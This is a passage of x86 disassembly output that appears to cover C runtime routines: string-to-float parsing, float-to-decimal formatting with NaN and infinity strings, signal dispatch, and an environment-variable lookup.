eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_41F632: ; CODE XREF: sub_41F5F7+52j mov cl, [edi] cmp cl, 20h jz short loc_41F648 cmp cl, 9 jz short loc_41F648 cmp cl, 0Ah jz short loc_41F648 cmp cl, 0Dh jnz short loc_41F64B loc_41F648: ; CODE XREF: sub_41F5F7+40j ; sub_41F5F7+45j ... inc edi jmp short loc_41F632 ; --------------------------------------------------------------------------- loc_41F64B: ; CODE XREF: sub_41F5F7+4Fj push 4 pop esi loc_41F64E: ; CODE XREF: sub_41F5F7+AEj ; sub_41F5F7+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41F8D1 ; default ; jumptable 0041F65A case 10 jmp off_41FA98[eax*4] ; switch jump loc_41F661: ; DATA XREF: _0:off_41FA98o cmp bl, 31h ; jumptable 0041F65A case 0 jl short loc_41F672 cmp bl, 39h jg short loc_41F672 loc_41F66B: ; CODE XREF: sub_41F5F7+C4j ; sub_41F5F7+118j push 3 jmp loc_41F88F ; --------------------------------------------------------------------------- loc_41F672: ; CODE XREF: sub_41F5F7+6Dj ; sub_41F5F7+72j cmp bl, ds:byte_42F570 jnz short loc_41F681 loc_41F67A: ; CODE XREF: sub_41F5F7+124j push 5 jmp loc_41F8C7 ; --------------------------------------------------------------------------- loc_41F681: ; CODE XREF: sub_41F5F7+81j movsx eax, bl sub eax, 2Bh jz short loc_41F6A7 dec eax dec eax jz short loc_41F69B sub eax, 3 jnz loc_41F96A jmp loc_41F72A ; --------------------------------------------------------------------------- loc_41F69B: ; CODE XREF: sub_41F5F7+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41F64E ; --------------------------------------------------------------------------- loc_41F6A7: ; CODE XREF: sub_41F5F7+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41F64E ; --------------------------------------------------------------------------- loc_41F6B0: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o cmp bl, 31h ; jumptable 0041F65A case 1 mov [ebp+var_10], edx jl short loc_41F6BD cmp bl, 39h jle short loc_41F66B loc_41F6BD: ; CODE XREF: sub_41F5F7+BFj cmp bl, ds:byte_42F570 jz loc_41F785 cmp bl, 2Bh jz short loc_41F6FF cmp bl, 2Dh jz short loc_41F6FF cmp bl, 30h jz short loc_41F72A loc_41F6D8: ; CODE XREF: sub_41F5F7+207j cmp bl, 43h jle loc_41F96A cmp bl, 45h jle short loc_41F6F8 cmp bl, 63h jle loc_41F96A cmp bl, 65h jg loc_41F96A loc_41F6F8: ; CODE XREF: sub_41F5F7+EDj push 6 jmp loc_41F8C7 ; --------------------------------------------------------------------------- loc_41F6FF: ; CODE XREF: sub_41F5F7+D5j ; sub_41F5F7+DAj ... dec edi push 0Bh jmp loc_41F8C7 ; --------------------------------------------------------------------------- loc_41F707: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o cmp bl, 31h ; jumptable 0041F65A case 2 jl short loc_41F715 cmp bl, 39h jle loc_41F66B loc_41F715: ; CODE XREF: sub_41F5F7+113j cmp bl, ds:byte_42F570 jz loc_41F67A cmp bl, 30h jnz loc_41F8DF loc_41F72A: ; CODE XREF: sub_41F5F7+9Fj ; sub_41F5F7+DFj mov eax, edx jmp loc_41F64E ; --------------------------------------------------------------------------- loc_41F731: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o mov [ebp+var_10], edx ; jumptable 0041F65A case 3 loc_41F734: ; CODE XREF: sub_41F5F7+184j cmp ds:dword_42F56C, edx jle short loc_41F74D movzx eax, bl push esi push eax call sub_418762 pop ecx pop ecx push 1 pop edx jmp short loc_41F75B ; --------------------------------------------------------------------------- loc_41F74D: ; CODE XREF: sub_41F5F7+143j mov ecx, ds:off_42F360 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41F75B: ; CODE XREF: sub_41F5F7+154j test eax, eax jz short loc_41F77D cmp [ebp+var_4], 19h jnb short loc_41F775 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_41F778 ; --------------------------------------------------------------------------- loc_41F775: ; CODE XREF: sub_41F5F7+16Cj inc [ebp+var_8] loc_41F778: ; CODE XREF: sub_41F5F7+17Cj mov bl, [edi] inc edi jmp short loc_41F734 ; --------------------------------------------------------------------------- loc_41F77D: ; CODE XREF: sub_41F5F7+166j cmp bl, ds:byte_42F570 jnz short loc_41F7EC loc_41F785: ; CODE XREF: sub_41F5F7+CCj mov eax, esi jmp loc_41F64E ; --------------------------------------------------------------------------- loc_41F78C: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o cmp [ebp+var_4], 0 ; jumptable 0041F65A case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_41F7A5 loc_41F798: ; CODE XREF: sub_41F5F7+1ACj cmp bl, 30h jnz short loc_41F7A5 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_41F798 ; --------------------------------------------------------------------------- loc_41F7A5: ; CODE XREF: sub_41F5F7+19Fj ; sub_41F5F7+1A4j ... cmp ds:dword_42F56C, edx jle short loc_41F7BE movzx eax, bl push esi push eax call sub_418762 pop ecx pop ecx push 1 pop edx jmp short loc_41F7CC ; --------------------------------------------------------------------------- loc_41F7BE: ; CODE XREF: sub_41F5F7+1B4j mov ecx, ds:off_42F360 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41F7CC: ; CODE XREF: sub_41F5F7+1C5j test eax, eax jz short loc_41F7EC cmp [ebp+var_4], 19h jnb short loc_41F7E7 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_41F7E7: ; CODE XREF: sub_41F5F7+1DDj mov bl, [edi] inc edi jmp short loc_41F7A5 ; --------------------------------------------------------------------------- loc_41F7EC: ; CODE XREF: sub_41F5F7+18Cj ; sub_41F5F7+1D7j cmp bl, 2Bh jz loc_41F6FF cmp bl, 2Dh jz loc_41F6FF jmp loc_41F6D8 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o cmp ds:dword_42F56C, edx ; jumptable 0041F65A case 5 mov [ebp+var_24], edx jle short loc_41F81F movzx eax, bl push esi push eax call sub_418762 pop ecx pop ecx push 1 pop edx jmp short loc_41F82D ; --------------------------------------------------------------------------- loc_41F81F: ; CODE XREF: sub_41F5F7+215j mov ecx, ds:off_42F360 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41F82D: ; CODE XREF: sub_41F5F7+226j test eax, eax jz loc_41F8DF mov eax, esi jmp short loc_41F890 ; --------------------------------------------------------------------------- loc_41F839: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o lea ecx, [edi-2] ; jumptable 0041F65A case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_41F849 cmp bl, 39h jle short loc_41F88D loc_41F849: ; CODE XREF: sub_41F5F7+24Bj movsx eax, bl sub eax, 2Bh jz short loc_41F8C5 dec eax dec eax jz short loc_41F8B9 sub eax, 3 jnz loc_41F96D loc_41F85E: ; CODE XREF: sub_41F5F7+2A4j push 8 jmp short loc_41F8C7 ; --------------------------------------------------------------------------- loc_41F862: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o mov [ebp+var_20], edx ; jumptable 0041F65A case 8 loc_41F865: ; CODE XREF: sub_41F5F7+276j cmp bl, 30h jnz short loc_41F86F mov bl, [edi] inc edi jmp short loc_41F865 ; --------------------------------------------------------------------------- loc_41F86F: ; CODE XREF: sub_41F5F7+271j cmp bl, 31h jl loc_41F96A cmp bl, 39h jg loc_41F96A jmp short loc_41F88D ; --------------------------------------------------------------------------- loc_41F883: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o cmp bl, 31h ; jumptable 0041F65A case 7 jl short loc_41F896 cmp bl, 39h jg short loc_41F896 loc_41F88D: ; CODE XREF: sub_41F5F7+250j ; sub_41F5F7+28Aj push 9 loc_41F88F: ; CODE XREF: sub_41F5F7+76j pop eax loc_41F890: ; CODE XREF: sub_41F5F7+240j dec edi jmp loc_41F64E ; --------------------------------------------------------------------------- loc_41F896: ; CODE XREF: sub_41F5F7+28Fj ; sub_41F5F7+294j cmp bl, 30h jnz short loc_41F8DF jmp short loc_41F85E ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o cmp [ebp+arg_18], 0 ; jumptable 0041F65A case 11 jz short loc_41F8CD movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41F8C5 dec eax dec eax jnz loc_41F96D loc_41F8B9: ; CODE XREF: sub_41F5F7+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41F64E ; --------------------------------------------------------------------------- loc_41F8C5: ; CODE XREF: sub_41F5F7+258j ; sub_41F5F7+2B8j push 7 loc_41F8C7: ; CODE XREF: sub_41F5F7+85j ; sub_41F5F7+103j ... pop eax jmp loc_41F64E ; --------------------------------------------------------------------------- loc_41F8CD: ; CODE XREF: sub_41F5F7+2AAj push 0Ah dec edi pop eax loc_41F8D1: ; CODE XREF: sub_41F5F7+5Dj ; sub_41F5F7+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041F65A case 10 jz loc_41F96F jmp loc_41F64E ; --------------------------------------------------------------------------- loc_41F8DF: ; CODE XREF: sub_41F5F7+12Dj ; sub_41F5F7+238j ... mov edi, [ebp+arg_8] jmp loc_41F96F ; --------------------------------------------------------------------------- loc_41F8E7: ; CODE XREF: sub_41F5F7+63j ; DATA XREF: _0:off_41FA98o mov [ebp+var_20], 1 ; jumptable 0041F65A case 9 xor esi, esi loc_41F8F0: ; CODE XREF: sub_41F5F7+339j cmp ds:dword_42F56C, 1 jle short loc_41F908 movzx eax, bl push 4 push eax call sub_418762 pop ecx pop ecx jmp short loc_41F917 ; --------------------------------------------------------------------------- loc_41F908: ; CODE XREF: sub_41F5F7+300j mov ecx, ds:off_42F360 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41F917: ; CODE XREF: sub_41F5F7+30Fj test eax, eax jz short loc_41F937 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41F932 mov bl, [edi] inc edi jmp short loc_41F8F0 ; --------------------------------------------------------------------------- loc_41F932: ; CODE XREF: sub_41F5F7+334j mov esi, 1451h loc_41F937: ; CODE XREF: sub_41F5F7+322j mov [ebp+var_1C], esi loc_41F93A: ; CODE XREF: sub_41F5F7+371j cmp ds:dword_42F56C, 1 jle short loc_41F952 movzx eax, bl push 4 push eax call sub_418762 pop ecx pop ecx jmp short loc_41F961 ; --------------------------------------------------------------------------- loc_41F952: ; CODE XREF: sub_41F5F7+34Aj mov ecx, ds:off_42F360 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41F961: ; CODE XREF: sub_41F5F7+359j test eax, eax jz short loc_41F96A mov bl, [edi] inc edi jmp short loc_41F93A ; --------------------------------------------------------------------------- loc_41F96A: ; CODE XREF: sub_41F5F7+99j ; sub_41F5F7+E4j ... dec edi jmp short loc_41F96F ; --------------------------------------------------------------------------- loc_41F96D: ; CODE XREF: sub_41F5F7+261j ; sub_41F5F7+2BCj mov edi, ecx loc_41F96F: ; CODE XREF: sub_41F5F7+2DDj ; sub_41F5F7+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41FA57 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41F99B cmp [ebp+var_45], 5 jl short loc_41F98F inc [ebp+var_45] loc_41F98F: ; CODE XREF: sub_41F5F7+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41F99E ; --------------------------------------------------------------------------- loc_41F99B: ; CODE XREF: sub_41F5F7+38Dj mov eax, [ebp+var_C] loc_41F99E: ; CODE XREF: sub_41F5F7+3A2j cmp [ebp+var_4], 0 jbe loc_41FA4D loc_41F9A8: ; CODE XREF: sub_41F5F7+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41F9B6 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41F9A8 ; --------------------------------------------------------------------------- loc_41F9B6: ; CODE XREF: sub_41F5F7+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41F530 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41F9D5 neg eax loc_41F9D5: ; CODE XREF: sub_41F5F7+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41F9E0 add eax, [ebp+arg_10] loc_41F9E0: ; CODE XREF: sub_41F5F7+3E4j cmp [ebp+var_24], ecx jnz short loc_41F9E8 sub eax, [ebp+arg_14] loc_41F9E8: ; CODE XREF: sub_41F5F7+3ECj cmp eax, 1450h jle short loc_41FA1F mov [ebp+var_2C], 1 loc_41F9F6: ; CODE XREF: sub_41F5F7+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41FA02: ; CODE XREF: sub_41F5F7+454j ; sub_41F5F7+45Ej cmp [ebp+var_2C], 0 jz short loc_41FA68 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41FA7D ; --------------------------------------------------------------------------- loc_41FA1F: ; CODE XREF: sub_41F5F7+3F6j cmp eax, 0FFFFEBB0h jge short loc_41FA2F mov [ebp+var_30], 1 jmp short loc_41F9F6 ; --------------------------------------------------------------------------- loc_41FA2F: ; CODE XREF: sub_41F5F7+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4201E0 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41FA02 ; --------------------------------------------------------------------------- loc_41FA4D: ; CODE XREF: sub_41F5F7+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41FA02 ; --------------------------------------------------------------------------- loc_41FA57: ; CODE XREF: sub_41F5F7+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41FA7D ; --------------------------------------------------------------------------- loc_41FA68: ; CODE XREF: sub_41F5F7+40Fj cmp [ebp+var_30], 0 jz short loc_41FA7D xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41FA7D: ; CODE XREF: sub_41F5F7+426j ; sub_41F5F7+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41F5F7 endp ; --------------------------------------------------------------------------- off_41FA98 dd offset loc_41F661 ; DATA XREF: sub_41F5F7+63r dd offset loc_41F6B0 ; jump table for switch statement dd offset loc_41F707 dd offset loc_41F731 dd offset loc_41F78C dd offset loc_41F803 dd offset loc_41F839 dd offset loc_41F883 dd offset loc_41F862 dd offset loc_41F8E7 dd offset loc_41F8D1 dd offset loc_41F89D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAC8 proc near ; CODE XREF: sub_41E86B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41FB2A mov byte ptr [ebx+2], 2Dh jmp short loc_41FB2E ; --------------------------------------------------------------------------- loc_41FB2A: ; CODE XREF: sub_41FAC8+5Aj mov byte ptr [ebx+2], 20h loc_41FB2E: ; CODE XREF: sub_41FAC8+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41FB54 test edi, edi jnz short loc_41FB54 cmp [ebp+arg_0], edi jnz short loc_41FB54 loc_41FB3F: ; CODE XREF: sub_41FAC8+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41FD52 ; --------------------------------------------------------------------------- loc_41FB54: ; CODE XREF: sub_41FAC8+6Cj ; sub_41FAC8+70j ... cmp dx, si jnz short loc_41FBD3 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41FB6D cmp [ebp+arg_0], 0 jz short loc_41FB7C loc_41FB6D: ; CODE XREF: sub_41FAC8+9Dj test edi, 40000000h jnz short loc_41FB7C push offset a1Snan ; "1#SNAN" jmp short loc_41FBC2 ; --------------------------------------------------------------------------- loc_41FB7C: ; CODE XREF: sub_41FAC8+A3j ; sub_41FAC8+ABj test cx, cx jz short loc_41FB96 cmp edi, 0C0000000h jnz short loc_41FB96 cmp [ebp+arg_0], 0 jnz short loc_41FBBD push offset a1Ind ; "1#IND" jmp short loc_41FBA5 ; --------------------------------------------------------------------------- loc_41FB96: ; CODE XREF: sub_41FAC8+B7j ; sub_41FAC8+BFj cmp edi, eax jnz short loc_41FBBD cmp [ebp+arg_0], 0 jnz short loc_41FBBD push offset a1Inf ; "1#INF" loc_41FBA5: ; CODE XREF: sub_41FAC8+CCj lea eax, [ebx+4] push eax call sub_415B90 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41FBB4: ; CODE XREF: sub_41FAC8+109j and [ebp+var_4], 0 jmp loc_41FD2B ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41FAC8+C5j ; sub_41FAC8+D0j ... push offset a1Qnan ; "1#QNAN" loc_41FBC2: ; CODE XREF: sub_41FAC8+B2j lea eax, [ebx+4] push eax call sub_415B90 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41FBB4 ; --------------------------------------------------------------------------- loc_41FBD3: ; CODE XREF: sub_41FAC8+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4201E0 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41FC34 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41FFC0 pop ecx pop ecx loc_41FC34: ; CODE XREF: sub_41FAC8+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41FC4E mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41FC51 jmp loc_41FB3F ; --------------------------------------------------------------------------- loc_41FC4E: ; CODE XREF: sub_41FAC8+173j mov edi, [ebp+arg_C] loc_41FC51: ; CODE XREF: sub_41FAC8+17Fj cmp edi, 15h jle short loc_41FC59 push 15h pop edi loc_41FC59: ; CODE XREF: sub_41FAC8+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41FC6F: ; CODE XREF: sub_41FAC8+1B4j lea eax, [ebp+var_10] push eax call sub_41F4D5 dec [ebp+arg_14] pop ecx jnz short loc_41FC6F test esi, esi jge short loc_41FC99 neg esi and esi, 0FFh jle short loc_41FC99 loc_41FC8C: ; CODE XREF: sub_41FAC8+1CFj lea eax, [ebp+var_10] push eax call sub_41F503 dec esi pop ecx jnz short loc_41FC8C loc_41FC99: ; CODE XREF: sub_41FAC8+1B8j ; sub_41FAC8+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41FCF6 mov [ebp+arg_C], ecx loc_41FCA9: ; CODE XREF: sub_41FAC8+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41F4D5 lea eax, [ebp+var_10] push eax call sub_41F4D5 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41F477 lea eax, [ebp+var_10] push eax call sub_41F4D5 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41FCA9 mov eax, [ebp+arg_14] loc_41FCF6: ; CODE XREF: sub_41FAC8+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41FD33 loc_41FD03: ; CODE XREF: sub_41FAC8+248j cmp eax, ecx jb short loc_41FD16 cmp byte ptr [eax], 39h jnz short loc_41FD12 mov byte ptr [eax], 30h dec eax jmp short loc_41FD03 ; --------------------------------------------------------------------------- loc_41FD12: ; CODE XREF: sub_41FAC8+242j cmp eax, ecx jnb short loc_41FD1A loc_41FD16: ; CODE XREF: sub_41FAC8+23Dj inc eax inc word ptr [ebx] loc_41FD1A: ; CODE XREF: sub_41FAC8+24Cj inc byte ptr [eax] loc_41FD1C: ; CODE XREF: sub_41FAC8+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41FD2B: ; CODE XREF: sub_41FAC8+F0j mov eax, [ebp+var_4] loc_41FD2E: ; CODE XREF: sub_41FAC8+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41FD33: ; CODE XREF: sub_41FAC8+239j ; sub_41FAC8+275j cmp eax, ecx jb short loc_41FD43 cmp byte ptr [eax], 30h jnz short loc_41FD3F dec eax jmp short loc_41FD33 ; --------------------------------------------------------------------------- loc_41FD3F: ; CODE XREF: sub_41FAC8+272j cmp eax, ecx jnb short loc_41FD1C loc_41FD43: ; CODE XREF: sub_41FAC8+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41FD52: ; CODE XREF: sub_41FAC8+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41FD2E sub_41FAC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD5B proc near ; CODE XREF: sub_41B61C+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41FDC2 dec eax dec eax jz short loc_41FDB3 sub eax, 4 jz short loc_41FDB3 sub eax, 3 jz short loc_41FDB3 sub eax, 4 jz short loc_41FDA6 sub eax, 6 jz short loc_41FD99 dec eax jz short loc_41FD8C or eax, 0FFFFFFFFh jmp loc_41FE84 ; --------------------------------------------------------------------------- loc_41FD8C: ; CODE XREF: sub_41FD5B+27j mov esi, ds:dword_4C9364 mov eax, offset dword_4C9364 jmp short loc_41FDCD ; --------------------------------------------------------------------------- loc_41FD99: ; CODE XREF: sub_41FD5B+24j mov esi, ds:dword_4C9360 mov eax, offset dword_4C9360 jmp short loc_41FDCD ; --------------------------------------------------------------------------- loc_41FDA6: ; CODE XREF: sub_41FD5B+1Fj mov esi, ds:dword_4C9368 mov eax, offset dword_4C9368 jmp short loc_41FDCD ; --------------------------------------------------------------------------- loc_41FDB3: ; CODE XREF: sub_41FD5B+10j ; sub_41FD5B+15j ... push edi call sub_41FE88 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41FDCD ; --------------------------------------------------------------------------- loc_41FDC2: ; CODE XREF: sub_41FD5B+Cj mov esi, ds:dword_4C935C mov eax, offset dword_4C935C loc_41FDCD: ; CODE XREF: sub_41FD5B+3Cj ; sub_41FD5B+49j ... cmp esi, 1 jnz short loc_41FDD9 xor eax, eax jmp loc_41FE84 ; --------------------------------------------------------------------------- loc_41FDD9: ; CODE XREF: sub_41FD5B+75j test esi, esi jnz short loc_41FDE4 push 3 call sub_417C16 loc_41FDE4: ; CODE XREF: sub_41FD5B+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41FDF6 cmp edi, 0Bh jz short loc_41FDF6 cmp edi, 4 jnz short loc_41FE1C loc_41FDF6: ; CODE XREF: sub_41FD5B+8Fj ; sub_41FD5B+94j mov ebx, ds:dword_4C9138 and ds:dword_4C9138, 0 cmp edi, ecx jnz short loc_41FE4B mov edx, ds:dword_4319DC mov ds:dword_4319DC, 8Ch mov [ebp+arg_0], edx jmp short loc_41FE1F ; --------------------------------------------------------------------------- loc_41FE1C: ; CODE XREF: sub_41FD5B+99j mov ebx, [ebp+arg_0] loc_41FE1F: ; CODE XREF: sub_41FD5B+BFj cmp edi, ecx jnz short loc_41FE4B mov eax, ds:dword_4319D0 mov ecx, ds:dword_4319D4 add ecx, eax cmp eax, ecx jge short loc_41FE52 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:431960h[edx*4] loc_41FE40: ; CODE XREF: sub_41FD5B+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41FE40 jmp short loc_41FE52 ; --------------------------------------------------------------------------- loc_41FE4B: ; CODE XREF: sub_41FD5B+AAj ; sub_41FD5B+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41FE60 loc_41FE52: ; CODE XREF: sub_41FD5B+D7j ; sub_41FD5B+EEj push ds:dword_4319DC push 8 call esi pop ecx pop ecx jmp short loc_41FE6E ; --------------------------------------------------------------------------- loc_41FE60: ; CODE XREF: sub_41FD5B+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41FE6E cmp edi, 4 jnz short loc_41FE81 loc_41FE6E: ; CODE XREF: sub_41FD5B+103j ; sub_41FD5B+10Cj cmp edi, 8 mov ds:dword_4C9138, ebx jnz short loc_41FE81 mov eax, [ebp+arg_0] mov ds:dword_4319DC, eax loc_41FE81: ; CODE XREF: sub_41FD5B+111j ; sub_41FD5B+11Cj xor eax, eax pop ebx loc_41FE84: ; CODE XREF: sub_41FD5B+2Cj ; sub_41FD5B+79j pop edi pop esi pop ebp retn sub_41FD5B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FE88 proc near ; CODE XREF: sub_41FD5B+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_4319D8 cmp ds:dword_43195C, edx push esi mov eax, offset dword_431958 jz short loc_41FEB6 lea esi, [ecx+ecx*2] lea esi, ds:431958h[esi*4] loc_41FEAA: ; CODE XREF: sub_41FE88+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41FEB6 cmp [eax+4], edx jnz short loc_41FEAA loc_41FEB6: ; CODE XREF: sub_41FE88+16j ; sub_41FE88+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:431958h[ecx*4] cmp eax, ecx jnb short loc_41FECA cmp [eax+4], edx jz short locret_41FECC loc_41FECA: ; CODE XREF: sub_41FE88+3Bj xor eax, eax locret_41FECC: ; CODE XREF: sub_41FE88+40j retn sub_41FE88 endp ; =============== S U B R O U T I N E ======================================= sub_41FECD proc near ; CODE XREF: sub_41EBF2+23p arg_0 = dword ptr 4 cmp ds:dword_4CA710, 0 push ebx push esi mov esi, ds:dword_4C90AC push edi jz short loc_41FF44 test esi, esi jnz short loc_41FEFE cmp ds:dword_4C90B4, esi jz short loc_41FF44 call sub_42029B test eax, eax jnz short loc_41FF44 mov esi, ds:dword_4C90AC test esi, esi jz short loc_41FF44 loc_41FEFE: ; CODE XREF: sub_41FECD+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41FF44 push ebx call sub_415C80 pop ecx mov edi, eax loc_41FF0F: ; CODE XREF: sub_41FECD+6Dj mov eax, [esi] test eax, eax jz short loc_41FF44 push eax call sub_415C80 cmp eax, edi pop ecx jbe short loc_41FF37 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41FF37 push edi push ebx push eax call sub_42025C add esp, 0Ch test eax, eax jz short loc_41FF3C loc_41FF37: ; CODE XREF: sub_41FECD+51j ; sub_41FECD+59j add esi, 4 jmp short loc_41FF0F ; --------------------------------------------------------------------------- loc_41FF3C: ; CODE XREF: sub_41FECD+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41FF46 ; --------------------------------------------------------------------------- loc_41FF44: ; CODE XREF: sub_41FECD+10j ; sub_41FECD+1Cj ... xor eax, eax loc_41FF46: ; CODE XREF: sub_41FECD+75j pop edi pop esi pop ebx retn sub_41FECD endp ; 